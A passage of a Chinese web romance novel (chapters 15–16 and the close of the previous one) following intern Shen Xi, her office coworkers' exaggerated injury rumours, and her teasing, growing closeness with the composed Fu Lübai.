每天现金流超过傅律白诶,无痛当上“沈小姐”,她超有想法的好嘛!
绕到主路,便是去茜茜小姐学校的那条路,田师傅都没用再多吩咐,到主路时便明白要去哪里接上人。
这个话题才结束,车子便稳稳停在了一旁。
沈晞有些惊讶看了眼车中田师傅,这车技真是神了,虽然那条路宽一点,但要绕出来还是要些时间的,没想到田师傅这么快就能过来。
沈晞不知道的是,其实田师傅还故意在路上磨了些时间,只道傅律白身边,还真是藏龙卧虎,各个都是能人,也不知道都是怎样被他找到的。
席罢散场,总是带着些余韵未消却强行中断后,淡淡落寞的。
可沈晞却十分干净利落,收回视线看向他,“傅律白,那我上去喽。”
明明她才是到了目的地,他才是要转身再奔赴别的地方的人,可她却先开口,说着自己走,似乎总要占据主动方那一位。
“多谢茜茜小姐招待。”
沈晞冲他摆了摆手,而后便毫无主人家意识,至少目送客人离开,真就转身,晚风吹着她潇洒的背影,一朵樱花落在她的头上,整个人都是轻盈的。
带着点自己都说不出的雀跃,可看在别人眼中,当真是灿烂夺目的耀眼,让人移不开视线。
甚至因太耀眼,震撼的甚至让人忘记打招呼,直到快擦身而过时才想起叫,“茜茜学姐。”
沈晞抬起头,脸上带着自己都没察觉的笑,只见四个高大男生站成一排,原本只微怔的目光在这一刻,忽然动作整齐划一的将嘴张成了个“O”字。
那个画面乍一看其实是有些诡异的,尤其是在晚上,沈晞愣了下,同时认出了站在中间那个,穿着黑色T恤的男生,是上次学生会那位学弟,好像叫季鸣。
“怎么了,我脸上有脏东西么?”她不会是吃完东西后没擦干净,顶着满嘴油的和傅律白聊了一路吧?!
沈晞慌张的拿手下意识擦了擦嘴角。
四个男生这才如梦初醒般像拨浪鼓似的摇着头,还是四个很整齐的拨浪鼓,跟排练过似的。
沈晞没忍住,“噗”的一声被他们逗笑。
面前的几个人脸瞬间就红了,来回闪躲眼睛都不知道往哪里放。
沈晞有些后知后觉的反应过来,对于这样的目光她其实并不陌生,只不过今天一
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整晚都跟着那位气定神闲情绪不外露的男人在一起,让她一时间忘记了,这个年纪的男生应有的反应。
还远修炼不出他那样的八风不动。
所以,她在他面前,也像这群男人这样,一眼就被看透么?
沈晞眼睑微垂,可下一秒,便又释然。
他长她八岁,被看透不是很正常么?
不然这些年岁都白活了么?
再说,就凭他修炼的一身好本领,又有几个人能逃得过他的眼,在他面前不透明。
况且她本就坦荡。
情绪再次舒扬,“你们要去吃宵夜么?”
“啊……啊,对。”
“那快去吧。”沈晞冲着他们轻点了下头,当做结束语,继续被风相送步调轻快的朝着宿舍的方向走去。
同时想着,你看小吃街的生意真的很好。
到了宿舍,灯还是关着的,小雨大概又去民宿简直今晚不会回来了。
沈晞将灯打开,又给自己倒了杯水,才坐到椅子上,几乎下意识的又将腿放上去,但才抬起,便老老实实的放下,坐姿十分的端庄。
和傅先生有点一拼的那种,甚至来椅背都没敢靠。
拿出手机来,腰背笔直,从背后看不知道的还以为她戴了什么背背佳再矫正身姿。
其实沈晞的体态很好,也就平时回到宿舍还这样懒散的坐着。
这才意识到她竟然一个下午加晚上都没看手机,正想看看有什么需要回的消息,下一秒,就被微信上那红红的99+未读消息吓到。
心猛的一跳,以为出了什么大事。
于是赶紧点了进去。
一分钟过去。
她的表情由焦急微沉,变得怔愣,疑惑……到最后目光都有些呆滞。
【茜茜听说你手被割破了?都伤到筋了?你现在怎么样啊?】
【天呐茜茜,你敲键盘敲的手指都骨折了?还好么?】
【你跟人抢饭抢的胳膊脱臼啦?!告诉我是谁,明天红烧肉我一口都不给他留,一定为你出口气!】
……
……
铺天盖地的信息中,她都已经快不认识“手”这个字。
甚至庄凡都听到了消息来问,【你手指被切掉了???现在什么情况?在医院么?有人跟着你么?需不需要人?】
沈晞一个个看着,甚至到最后版本已经离谱到——
【茜茜你遇到歹徒了?把你胳膊切下来了?】
沈晞打了个激灵,忽然右臂一痛,她不自觉吞咽了下口水,视线缓缓右移,看向自己的胳膊,觉得自己的整个右半身都跟不在了一样。
甚至还无意识的抬起了左手,回来轻摸了摸。
-
身影已经完全消失,四个男生仍看着沈晞离开的方向,脸上带着点未回过神来的飘忽。挡住路的都未察觉,直到有吃完宵夜回来的同学拍了拍他们,他们才回过神来让了路。
同时审问起季鸣来。
“这谁啊?你怎么认识的?”
看着舍友一个个刚刚话都不会说,到现在人都还兴奋着,季鸣想到自己第一次见到学姐时的反应,越发觉得自己的表现还不错。
再加上,因为有了学姐的微信——还是上次迎接那位大善人为了方便工作加的,虽然加完后没说过一句话,但季鸣还是带着几分得意道:“沈晞学姐,咱们院的前学生会主席。谁叫当初我叫你们跟我一起报名,你们一个个瘫在床上不动。”
“你也没说有这么好看的学姐啊!”
“草,你说,你是不是早就知道才加入的学生会?!”
“狗贼!你不分享情报!”
三个人怨气冲天,季鸣脖子上忽然从各个角度多出了胳膊,勒得他差点喘不过气来,挣扎着,“背调!背调知不知道!沈晞学姐的照片就在校园论坛里挂着呢,谁让你们自己不看!”
最后几个字,他都是吼的,他很冤枉好么!
“谁会像你这么鸡贼。”
“我们是来学校学知识的,谁会想到这些啊。”
最后还是不情不愿嘀咕着松开了他。
“不过学姐真好看啊,她抬起头看到正脸后,竟然还在冲咱们笑诶,我去那谁顶得住啊,笑的温柔又灿烂啊,真就像朵花开了。”
“你个土老帽会不会形容啊,不过真的,我看着她话都不会说了。”
“这什么女神啊,长得绝美又性格好没架子,跟她打招呼都会笑,啊啊啊啊我恋爱了!”
在他吼叫声引来其他同学纷纷惊恐看过来时,其他三个人更是受不了,异口同声骂道:“我尿黄呲醒你——”
三个男生边往校园外走,边打闹成了一团,其他几个正要胳膊转移到这位痴心妄想的人脖子上时,忽然瞥见一身穿浅色绵软衬衣的男人正上车,长腿微弯,西裤上留下轻微的折痕。
很简单的动作,却被他做的干净落拓间又带着股温谦高远的气质来。
让他们一时间竟不好意思再胡闹,纷纷收敛不自觉的变得有规矩起来。
直到线条流畅又简约低调的奔驰车平稳驶出他们的视线,几个人才又恢复那副没什么正形来。
“这是新来的教授么?气质好特别。”
“文学系的么?”
“别吧!!!这样师姐师妹们就更会对我不屑一顾了。”
-
茜茜小姐转身离开时,田师傅才下车来将车门打开,怕两个人还未聊完。
每次与茜茜小姐一起时,傅先生总是格外的轻松。
虽然平时傅先生也是从容自在的,发生任何事也都是气定神闲的,好像什么事在他眼中都不算事,都能解决。能解决,那还有什么值得动气,人便也平和松弛。也就除了前两天,茜茜小姐不知发生了什么事搞到了警局去,傅先生才绷起全身气场,当时整个车厢的空气都变得稀薄和凝固,让他大气都不敢出。
但这样的气定神闲带着些不入心的淡然,虽然为人也是好的,甚至路上遇到些遇到难处的人和事也会随手帮一下,但总是不够开怀的,有股近乎神佛的无喜无悲感。
可和茜茜小姐见面后,便能感受到那种发自内心的轻快感。
虽然人还是一如既往的轻靠在椅背上,表情淡淡,仍由外面的霓虹光影透过半开的窗斜斜打在脸上,在胸前折射出色彩纷呈的光晕,但眉眼舒朗。连空气中的分子都在轻快的跳跃着。
坐上的人忽然抬眸,通过后视镜对上田师傅轻松略带愉悦的表情,傅律白觉得有趣又好奇的问:“怎么好像每次你接送完她,心情都好像不错。”
“……”
田师傅看过来,霓虹将后座的先生浅淡的眼都染出斑斓的情绪,过了两秒,正气的脸上带上了几分憨实的笑,反问道:“难道先生心情不好么?”
恰有违章拍照灯闪过,遮住了他那双经过岁月洗礼有些浑浊,此刻却带着几分深意和慈祥的眸。
傅律白眸色微顿,刚要开口,手边手机忽地轻响,有消息进入。
他垂眸去看,过了几秒眉梢微扬,连唇角都带上些浅浅弧度。
田师傅收回视线,继续专心开着车,他想,他大概已经知道了答案。
15. 第 15 章
沈晞这事,要是换别人肯定不会传的这样沸沸扬扬,但他们“草台班子”项目组实在是关系太好,尤其是沈晞这个受欢迎的吉祥物。
到了收尾几段,后期各忙各的,一时间也没什么精力聊天交流,更加没机会随便拿个文件过去去撸撸吉祥物。直到下午喝着奶茶,大家才发现沈晞不见了,在一盘,发现人家不但伤了还不忘给大家订奶茶。
这么一传十十传百,最后甚至传到了来公司办点事的程开霁耳中。
他是从酒局中途下来后过来的,这会儿公司没剩几个人,听到后也是一惊,毕竟是托三哥照顾的人,这在公司出了事,更别说三哥对这姑娘的态度,他总觉得……
甭管三哥现在是不是已经知情,他总得知会一声。
于是拿出手机来边极步走着,边发消息:
【三哥,那乖宝宝胳膊好像摔骨折了,要我带人去看看么?】
傅律白看着这条消息先是微怔,而后又想到一分钟前还在自己面前活蹦乱跳,应当没这么大本事只用一分钟就把自己给摔骨折。
再想到她全身上下也就手上那一个口子,虽然好像暂时不太能使用,但也大概率是不需要人去看的。
傅律白边回信息边抬起眸。
“她啊……”不知想到什么,轻笑了下,有些头疼道,“太吵了。”
好好的,还会忽然发脾气。
田师傅原本以为不会听到回答,没想到听到了,却是这样的回答。他一愣,将视线再次移到后视镜,看到后座人的表情时,便又顺着接了一句:“吵点好,有人气。”
他语调客气,傅律白淡淡觑了他一眼,“你怎么也学会这样恭维的话,她又不在。”
这话说的又哪里有半点责骂,打趣更多。
田师傅便也放心继续道:“茜茜小姐在与不在,都不妨碍这样讲。”
傅律白看着他漫不经心的轻笑了下,而后又将目光淡淡移向窗外,“她倒是很会讨人喜欢。”
连他总是不带任何私人感情的司机都快要被她收买。
田师傅是他亲自选的,在部队退下来后,为他开车也有小十年了。为人很是稳重,这些年跟他久了做起事来也越来越周到。不是没有人想拉拢他,当做突破口,可田师傅全都不显山不露水的给挡了回去。
甚至曾经有人用澳洲一座庄园为条件,田师傅都巍然不动,转头便告知了他。只说,从十几岁时学的最多的便是忠,之前忠于国家,现下跟了先生便忠于先生。
哪有一侍二主的道理。
这样的田师傅都喜欢她的紧。
看,小姑娘多有本事。
街景迅速从窗外闪过,形成陆离的影,一旁的杏树并蒂开花,随风飘动。
另一边,锐昇集团里,程开霁大步往电梯间走着,连要办的事都被他暂时搁置到一旁。
忽地收到信息,脚步骤然顿住。
快速的拿出了手机,一看上面的回复,却眸色微沉,带着些疑惑。
三哥这态度让他有些拿不准了。
都这样了,还不用去医院看看?
莫非真是他想错了?
第二天沈晞到了公司,迎面对上了各种惊讶的“这简直是医学奇迹”的目光。当然也有可能直接是生命奇迹的惊恐目光,毕竟谁知道传到最后,她是不是已经在他们口中嘎了呢:)
-
“茜宝儿茜宝儿——!没有你,我可怎么活啊——!”
悲怆的声音在食堂门口响起,进出往来的人纷纷停住,知情者看了两眼,面露同款哀伤的离开,还走过去以表哀婉的拍了拍她的背。
不知情者有点懵逼,一直看着又不合适,频频回头间,直接撞到了墙上。
沈晞更加懵逼,整个人都傻了,在众人诡异的目光中,有些头皮发麻。她垂眸看着自己胳膊上的那个人形挂件,不确定的说:“有没有可能,我只是调回原来的组,……不是没了?”
嗐——
撞墙那哥们听到了缘由,揉着红肿的额头,无语的走了。
项目到了后期,其实早就陆续有很多人回到自己原本的组了。但这两天他们知道沈晞这个吉祥物要走以后,心理那一关很难过。
前期时,各组都是她来协调调配的,就跟个连接纽带一样,把大家拉到了一起。工作起来有条不紊,很复杂的情况她也都能语调温和的给排出个先后来,调配的很好。
那段时间都是刚上手,事情又多,再加上他们本来也就只是实习生,经验少,难免遇到急的事脾气会燥,语气不好。但沈晞也不生气,还是那副懒洋洋的样子,从桌上拿出块糖来递过去,乐呵呵的说:“哎,我这不是在弄嘛,吃块糖消消火。”
她这清纯又乖乖的样子,这样可呵呵的跟人说着话,谁还能生起气来,再说本就不是人家的问题,是自己理亏。那点火也就被一颗糖,一个笑给平息了。
所以大家都很喜欢她,后来有事没事压力大了,都爱过去顺走她两块糖,再看着她笑的和她聊上两句,就当是充电了。
再加上中期彭念真搞出了乱子,差点让整个项目流产,她几乎算是力挽狂澜般稳住了卓凌救了所有人的狗命,简直爱到没她不行了好嘛!
所以大家都很难受,只不过这两天刚好到了圆圆处理的那部分赶工期了,天天戴着降噪耳机两耳不闻窗外事,今天好不容易搞差不多到了收尾阶段,耳机一摘,听到这个消息,直接天都塌了好么。
圆圆紧紧抱着她的胳膊不撒手,嚎的肝肠寸断,“还不如没了呢——”
“???”
不是?朋友……
对上沈晞惊愕的眼神和抽搐的嘴角,圆圆也反应了过来,抱着她的爪子都有那么一瞬间的一松,而后又抱得更紧,像是表达自己真挚的情感一样,接上了后面的话,“这样倒是断了我的念想,你知道近在咫尺又摸不着看不到的感觉多难受么!你知道你们那层楼我多不好进去,要排多久的队么——!”
呜呜呜以前抬头就能看到的人,现在还要排队,这样的委屈她受不了!
受不了一点!
字字滴血,真是闻者伤心听者落泪,但当事人一脸冷酷,没什么表情的睨着她,“行了,别干嚎了,半天一滴眼泪都没挤出来。”
圆圆赶紧放下一只爪子,悄悄蘸了点口水往眼睛上点。
沈晞一边抽出肉都要被她指甲掐出印子来的胳膊,一边说:“我等会儿把没吃完的糖都拿给你。”
这糖是姜瑶去西班牙前拿给她的,味道很清新她就拿到公司来没事吃一颗,后来全当猫薄荷时不时的给他们顺毛用了。
圆圆尤其爱吃,但还挺小众的网上没搜到。她也特地问了下姜瑶,当时姜瑶正快乐的参加着狂欢节,喊的嗓子都哑了,自己都不记得是在巴西还是阿根廷买的了,她天天全球飞买了东西回来要不是保质期超短的,都要放上个一两个月来,再一齐送过来给她。哪能记得请这么一罐小小的糖果,也就只有个模糊的记忆曾在某个当地类似集会上买过糖,但具体是哪里是一点印象也没了。
“嘎——”
圆圆抬起头来,蘸泪的手一顿,挂在脸颊上,眼睛亮的跟看到骨头的小狗似的,哪有半点哭过的痕迹。
下一秒便对上了沈晞“果然如此、早就看透一切”的眼神。
“我、我又不只是为了糖”圆圆有点心虚的眨了下眼睛,忙为自己找补,“我是真的很舍不得你啊……”
一开口,是真的有点伤心了。
沈晞一愣,发现她这次真的是来真的了,在她情绪彻底酝酿出来之前,忙说着,“啊呀,也没说你只是为了糖啊,这是用糖稍缓你的分别之苦。我知道这简直是杯水车薪!但是圆圆你快进去吧,不然等下红烧肉没了,你会更苦的!”
圆圆果然惊慌的抬起头,面露迟疑在“和她再诉一下衷肠”还是“红烧肉”之间抉择着,这时,不知忽然看到什么,脸一下就红了,微微垂眸含羞带怯的连说话声音都温柔了不少,“那我先进去了茜宝儿,别忘了我的糖。”
说完便匆匆走了,虽然临走还不忘提醒她最重要的事。
沈晞被她的反应弄的愣了下,看着她的背影有些茫然的眨了眨眼,下意识转过身顺着圆圆刚刚的视线看过去。
便见傅律白正逆着光走过来,也就两三米的距离。还是惯常很低调的绵软衬衣西裤的打扮,可他身形气质实在都太优越,迈着大长腿这样走来时,周围的一切好像都被虚化掉,像是他个人的T台秀,目光不受控制的被他吸引,只能看到他。
难怪圆圆刚刚会是那样的反应,近距离直面这样的人时,心里那点承受力不够的都很顶住,简直就是个妖孽。
可偏偏自己又不觉,还是那副清冷又谦和的模样。
看着越走越近的人,沈晞莫名有点不自在,轻垂下了眼睫。
鞋底和地面轻微碰撞声从耳边响起,不急不缓的脚步声越来越近。她的呼吸也跟着越来越紧,“咚、咚、咚……”
每一步都似乎踩在了她有些急促的心跳上。
直到余光中,出现那双一尘不染的皮鞋,她的呼吸在那一刻直接一滞。
笔挺又禁欲的白色衣袖,珠母贝袖扣发出莹莹光泽,紫叶檀佛珠若隐若现的在余光中闪过。
手背传来有些带着些凉意的温润触感,和柔软布料不经意轻蹭过的微痒感,让她手指不自觉的轻轻蜷缩了下。
而后脚步声再次渐远。
过了两秒,看着视线里各种乱杂的鞋子和脚步,沈晞有些茫然的眨了眨眼,下意识地抬起头来,余光只瞥见了人的侧脸——
走廊照进来的阳光下,似是给男人本就俊美的脸上打上了一层滤镜,看上去愈发的帅气逼人,只不过神色淡淡,本就无喜无悲的脸上显得更加疏离。
可偏偏这副万事万物如浮云过的调子实在是拿人。
但自己也被当做“浮云”就没那么爽了。
沈晞不可置信的看着男人宽大挺拔的背影,到现在都没回过神来。
不是?才两天不见就不认识了?
失忆了么?
沈晞气呼呼的走到走廊尽头的落地窗前,看着窗外的车水马龙,终于忍不住激情辱骂。
“什么有礼识节好绅士,见面招呼都不打一个。说你健忘一点都没冤枉你,没到健忘年纪都这么健忘,等到了七老八十是不是连自己是谁家在哪里都不记得了?”
沈晞想起那个画面,他那时也一定是个气度不凡风度翩翩的老先生,或许会穿着一身中山装,或者棉麻质地的休闲衣裤。
就这样出现在人家家门前,或许别人还会以为他是哪里来得得道仙人,下凡来普度众生。
他开口向人问路时,也会像大多数走丢老人那样,带着些茫然和无助么?
茫然无助,白发苍苍的傅律白,这个画面单是想想,就莫名的让人有些难过。
可下一秒,沈晞便觉得,即使他找不到家不知道自己是谁,也一定是一脸淡然的,眼中也带着那股气定神闲的沉稳睿智,毕竟这样才比较符合他的人设。
就像他刚刚如陌生人般从自己身旁走过那样,一想到,沈晞便气的忍不住咬牙切齿。
白发苍苍的傅老先生一脸客气有礼的问:请问你知道我家在哪儿么?
好心路人:那你家有什么标志么?
傅老先生一脸理所应当的淡然:不知道。
好心路人继续问:那你叫什么?
傅老先生仍旧一脸理所应当的淡然:不知道。
路人直接黑人问号脸,你什么都不知道怎么还好意思这么理直气壮还一脸淡定的啊?
沈晞兀自被那个画面逗笑。
但好心路人依旧拿出些耐心来,毕竟大家对漂亮美好的东西总是更加包容,漂亮老先生也不例外,问:那你孩子呢?电话多少记不记得,我给他们打电话来接你……
沈晞嘴角的笑渐渐凝固,忽然有些笑不出来了。
他是会有孩子的啊,他会结婚生子——
“小姑娘怎么还爱倒打一耙?”
这个念头刚起,身后忽然响起的声音吓了沈晞一跳。她骂的认真,想的也认真,都不知道什么时候站了个人来。
下意识地转过身去,便见傅律白站在自己身后,一个很礼貌的社交距离,正带着几分好笑的表情看着自己。
被她YY半天的主人公就这么突然站在自己面前,沈晞忽然有些心虚,声音却强撑镇定,颇有些底气不足声音来凑的意思,“谁、谁到打一把了?”
“刚刚不是你先低下头,不想跟我打招呼,怎么这会儿,又怪起我来了。”傅律白不紧不慢的陈述着事实,语调中却带着几分被人不搭理的控诉。
沈晞被这控诉的语调惊住,其实指责的味道并不明显,但傅律白平时这样喜怒不形于色情绪温淡的人,只是这么一点便更显委屈的意味。
听上去她就像个不负责任的负心汉,惹得清冷自持的人委屈到不行,也都只是克制的说一句,“明明是你先不理我的。”
天呐。
沈晞被自己渣到了。
她刚刚确实有点紧张的低下了头,那大庭广众的,他们无论是聊两句还是只是打个招呼,都会被大家看到。
要么所有人都知道她是个关系户,要么甚至有人可能会往更复杂的方面想。但她只要安安静静的实个习而已,不想被大家各种区别对待或者关系变得微妙又复杂。
她想确实是这么想的,但是傅律白真完全跟陌生人一样淡漠从自己身边离开的时候,她就又很不爽了。
所以这事,她觉得他们两个扯平。
“谁怪你了。”沈晞又忽然有了底气。
“没怪我?”傅律白轻挑了下眉,半拖着调子似是带着几分疑惑道,“那茜茜刚刚是在讲谁不绅士,并且表达了对他最衷心的祝愿——愿他七老八十时,不记得自己也不记得家在哪里。”
这人到底什么时候过来的啊!
沈晞打算破罐子破摔,“那我刚刚只是低头了而已,你不会主动打招呼么?”
本来她当时也没完全抗拒的,就是没想好,甚至其实还有一点点期待,想看他会怎么做的。
没想到——!
他竟然!完全!冷漠!
本来觉得扯平的,现在她觉得完全是傅律白的责任,明明把选择权给他了的!
傅律白在一旁友好的提醒她,“明明察觉到了人家的意思,还要违背强迫,这似乎更不绅士呢。”
他语气像是在和她探讨。
沈晞张了张嘴,哑口无言。
他还要和她讨论什么才算绅士!
气的她将脸侧到一旁,不想讲话。
傅律白看着站在自己面前,鼓鼓像个小河豚的人,侧了侧头无声淡笑了下。
不再逗她,将手中的东西递到她面前,“说了这么多话润润嗓,然后我们再来讨论,下次再在公司人多时遇到,我们要不要打招呼,要怎么打招呼才算绅士——”
面前的人看过来,他声音微顿,而后又淡声补充道:“不绅士也行。”
沈晞这会儿还真没在意“绅士”这个在上一环节中,算是雷区的触发词。而是看的他手中的纸袋草莓牛奶,这牛奶是来京市后才发现的,她很爱喝。
前些天在小吃街吃完饭后,她又有些口渴,临走时又买了一袋。
沈晞微愣,没想到这样的小细节他竟然留意到了。
“你什么时候买哒?”沈晞轻垂着眼睫接过,又暗搓搓的补充了句,“故意买来赔罪,来抵消你的不够绅士么?”
很是牙尖嘴利。
傅律白淡淡轻睨她。
原本他也只是来这层办些事,出来时便撞见了她被人拉扯着,
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不确定是不是遇到了什么麻烦,便走过来看看。走近,才发现她对面脸圆圆的和她看上去年纪差不多的女生正一脸难过,她倒是神气的很,语气听上去很是无情,又哪里像是被欺负的样子,简直处处占上风。
而后圆圆的女生似乎看了他一眼,不知怎么就走了。她也便转过身来,却也明确的看到她微微闪躲垂下去的眸,明白了她似乎不想在公司有过多的交集。
可他已经走过来,两个人聊天也是真的不挑地方,就在食堂门口——其实是沈晞恰好吃完走出来,遇到了刚要进来的圆圆,便被圆圆直接树懒般挂住,开始哭丧……啊不,诉衷肠,沈晞也很是不想在这里被人抱着嚎哭的,尤其是后面还一桌桌人全在吃饭,这真的很像……
傅律白并不知道还有这样的缘由,但此时他已经到了她的正对面,如果忽然转身看上去会更奇怪,于是便只能径直走进去,人都进去了,什么都不买的便出来,他怕大家觉得他是来视察什么工作,难免紧张不自在,便在货架看到这袋牛奶时,记得她好像喝过,便顺手买了一袋。
……
他的眸色明明很淡,可深邃的眼眶勾勒出的眼尾却似乎带着钩子。
沈晞被看的眼神微闪,轻抿了下唇,用吸管将牛奶戳开,不再胡搅蛮缠,决定休战,接受了他的求和。
她喝了一口,酸甜奶香醇厚的味道在口腔里润了一圈,让人心情都变得清新雀跃,“那就人少时聊聊天,人多时……”
她眼睛轻转了下,没想好,再次抬起时,眼睛亮亮狡黠又带着几分不负责任的高高挂起,直接又把问题抛给了他,“傅先生平时那样分寸得当,这点小事拿捏不好么?”
“这可不是小事。”傅律白看着她淡淡道。
沈晞以为他也是想推卸责任,不想担起两人之间的社交责任。矜贵如傅先生,又怎么会有社交责任,一定向来都是别人主动巴结讨好,而他只选择性敷衍或偶尔有那么一二真心就好了。
她静静地看着面前的人,就算有那么瞬间的将他拉下尘世红尘中,可他转身,依旧是高高在上难以走近的傅先生。
她眼睫微垂,可还未来得及眨下,对面人却已不紧不慢开了口。
傅律白漫不经心的看着她,带着几分别有深意道:“拿捏不好,茜茜小姐要生气的,生起气来就又要祝福七老八十时找不到家了。”
沈晞愣了下,眼睫轻眨,随即又忍不住被他语气中的打趣逗笑,她也微绷着脸,学着他的调子,不过却还是做不到他这样的一本正经说着玩笑,听起来更加俏皮道:“那傅先生加油,七老八十时能不能找到家,就全看你表现了。”
傅律白和她打着商量,“还望茜茜小姐评分时手下留情,毕竟到时一把年纪找不到家,实在是有些可怜。”
“傅先生才貌出众,样样出类拔萃,”沈晞仰着头,窗外照的阳光照到她水润亮晶晶的朱唇上,语气似是为难,“我自然也不好放水,坏了傅先生一身好名声。”
可说到最后,眼中尽是狡黠的看热闹,哪里有一点为难的样子。
“多谢茜茜小姐赞誉。”他看着她,眉梢微扬,随后又很是洒脱道,“都是一些虚名,要不要没关系的。”
“不行!”沈晞扬着下巴,十分坚持,“我必须帮你保住。”
她站在整个京市业内最顶级的公司里,正午最灿烂的烈阳透过可以俯瞰一些的玻璃窗打在她的身上,车水马龙极速而过重,脸上尽是骄纵与恣意。
茜茜小姐很是铁面无私不好讲话……哦,不,助人为乐,傅律白也没再坚持,只得努力下次再见时,分寸拿捏的能让茜茜小姐满意,免得到老时凄惨。
时间差不多,在这场最终以茜茜小姐大获全胜的交谈中,两人友好告别。
临走时,傅律白忽然想起什么,“对了,茜宝儿——”
已经转身走出一步的沈晞像是被钉在了原地一样,骤然僵住,甚至因为脚停住的太突然,身体还往前小幅度冲了下,才堪堪稳住。
不敢置信的回过头来。
如果第一次听到庄姐这样叫她,她只是觉得庄姐有点崩人设而有点不自在的话。此时听到傅律白那如月光般清冷皎洁的嗓子,说出这个词时,她羞耻的天灵盖都开始发麻。
不是!他怎么知道的啊?!
他刚刚到底听了多少啊?
听到了就要叫么啊啊啊啊啊!
就在沈晞崩溃中,傅律白话音未断的继续道:“是像锡纸金针菇一样,很美味好吃的食物么?”
嗯?
嗯嗯???
见她忽然微睁的眼睛,傅律白疑惑的问:“不是么?”
对于不太了解的事,傅先生向来谦逊好学不耻下问并且举一反三的,十分有探究精神。前两日茜茜小姐稍微为他扩充了一下夜市小吃街这方面的知识点,此时他也会有机会便补充着。
“是!当然是。”沈晞松了口气,愉快的说着。
虽然在某一天被他知道真相后会羞耻加倍,羞耻的她可以去死,哪有人会自己承认自己美味又好吃。
但她!怎么会!让他!知!道!呢!
-
“三哥,我那一套粉钻收到啦,巨好看,谢谢三哥!”前些日子,她拍到了个粉钻,还是没切割过的。问了几家大品牌师傅,都有些迟疑不敢跟她百分百打包票,最后知道三哥要去法国便让他在那帮忙联系了一位。
技术是真的高超,看着灯光下,将所有灯内部反射完再汇聚到顶部,绽放出璀璨光华粉的bulingling的钻石,傅望舒喜欢极了,自然也不忘投桃报李,“三伯母的花也收到了,就放在院子最中间了,今天在院子里转了半天,人都欢喜了不少。”
三伯母向来喜静,人又稳,自然不会因为这些小事就给三哥打电话,也是怕打扰。但她知道三哥对三伯母的记挂,可赠送人东西又哪里有主动问喜不喜欢的,虽未向她叮嘱过,她也不忘讲一讲。免得平日白受三哥那么多的照顾和好处。
傅律白刚洗完澡,穿着白色浴袍姿态放松的坐在一层客厅沙发上,本是来倒杯水的,电话便打来。他边喝着,边听着表妹似是不经意的说着老宅里的一些趣事,他便也静静地听。
却心知肚明般,仿佛他们真的只是在分享着一些家庭趣事,如平常叔伯兄弟姐妹众多的大家庭般。
明亮的头顶灯打在傅律白的身上,偌大的跃层玻璃隔断镂空设计能看到二层布景,三面是巨大的落地窗,而他身后则是京市最具地标建筑的广播电视台总部。
绝佳的采光,窗外霓虹大厦车水马龙似乎都成了背景。可却因为房间太大太空,此时竟有种高处不胜寒的压迫感,而处在灯光中央的傅律白却恍若未觉般的不在意,拿起茶几上的素白水杯不紧不慢喝着。
等傅望舒再次表达感谢,快要挂电话时,傅律白像是想起什么,随意问道:“你吃过锡宝儿么?”
不是没看到问及她时,她忽然有些慌张的表情,或许这种食物的味道又和特殊或者猎奇。
正要挂电话的傅望舒愣了下,“锡宝儿?锡纸的锡么?”
傅律白想了想,“对。”
“没有,我只吃过热奶宝,这是京市新出的什么小吃么?”
“对。”没问到答案的傅律白也未有多遗憾,说了结束语后便挂了电话。
而电话的另一头,穿着粉色蕾丝睡裙的傅望舒躺在床上,连一同和她躺在一旁闪着漂亮光泽的粉水晶都顾不得,开始好奇。
到底是什么样的小吃,竟然让三哥都感了兴趣,这得多好吃多特别啊!
啊啊啊沪市和苏市你们也太跟不上潮流了!竟然没有!
不行!
傅望舒翻了个身坐起来,开始霹雳吧啦的订去京市的机票,她一定要亲自吃一吃。
她这才离开京市没一个月,竟然出了这么精妙绝伦的小吃。
16. 第 16 章
工位整齐的办公室中,传来有力且密集富有节奏的键盘敲击声,而后声音减弱绵软无力节奏混乱,直至最后两个键敲完,只听“啪”的一声,沈晞再也顶不住直接趴在桌子上昏睡了过去。
“茜茜你把——”
庄凡雷厉风行的走过来,她刚从行政部经理办公室出来,路上便把刚给的任务工作思路整理好了,正想着告诉沈晞时,走近却发现人已经睡着了。
话便不由停下,连脚步都便慢了,被她踩的气势恢宏的高跟鞋此时都温和的收了声。
庄凡轻叹了口气,最近工作多到简直令她都难以想象。刚把人叫回来了一周,可工作量远比她之前承诺给沈晞的多太多了,沈晞最初还会再工作空闲的间歇和她哭闹说:当初明明不是这样讲的,你就是个骗子。
她也只用一杯奶茶一顿午饭就把人给哄好了,嘟着嘴不情不愿的工作,但工作质量和效率却丝毫没含糊。
后来连和她哭闹都没精力了,闲暇之余之后眼神迷离的嘬着奶茶。
到现在——
她看着面前一只胳膊支起,垫在脖子下,一只胳膊抵在这只胳膊上形成稳定的支点,而她整个脸仰卧在里面的人,阳光打在她瓷白没有瑕疵的脸上,连上面细小的绒毛都清晰可见,眼睫轻垂在脸颊上形成一排小小的阴影,金光在长睫上跳跃。
整个人软绵绵的完全瘫在桌子上,精致小巧的鼻翼随着呼吸还轻轻有节奏的翕动着。
明明头以上是冲右偏的,但整个人又以诡异扭曲的姿势偏向了左,可看上去却睡得舒服到不行。
要不都叫她茜宝儿呢,起初她还以为是他们那个小分队的掌中宝,现在一看,这可不就是个流体猫宝宝安稳舒适的睡在自己窝里么。
庄凡抿了下唇,又是好笑又有些心情复杂的将自己椅背上挂着的西装外套搭在了她身上。
一旁刚弄完一个文档,仰头靠在椅背上休息的向芸看到,忍不住羡慕道:“你这小实习生真不错,都能独当一面独自做项目了,一定帮你减轻了不少压力吧,不像我这个……”
庄凡给沈晞披衣服的手顿了下,心中冷笑,别以为她不知道,当时向芸隐隐猜到她带的这个是个关系户时,有多暗自松了口气又幸灾乐祸的。
觉得会给她拖后腿,将她业绩带下去,她自己好趁机上去。
现在不过是见茜茜优秀,眼馋后悔了。不过后悔也没用,茜茜那位关系户可没把她当禁不起风雨的小宝宝,故意放在她这捶打的。想带沈晞根本不够格。
她将一角掖了掖才抬起头,也没客气,言语间全是骄傲道:“对啊,我们茜茜做事又稳脑子又灵,我都没见过这么优秀的实习生,也不是你带的那个小姑娘差啦。而且这还只是实习,再锻炼个几年怕是连我都……”
庄凡欲言又止的摇摇头,可眼中全是赞赏和欣慰。
可谁又不知道沈晞是个关系户,根本不会走她们这条升级赛道。这句话说的像是安慰,可话里话外不就再提醒她——沈晞会超过我,但是你连想都别想了。
向芸一口气差点没上来,但到底职场打拼了这么多年,强撑着脸色微变,但笑的有些僵硬和勉强当做回话,转过了头去。
可心里想的却是,三十年河东三十年河西,谁知道呢。
打开了电脑,再次大力的跟发泄般敲击着键盘,电脑屏幕映着她难看的表情。
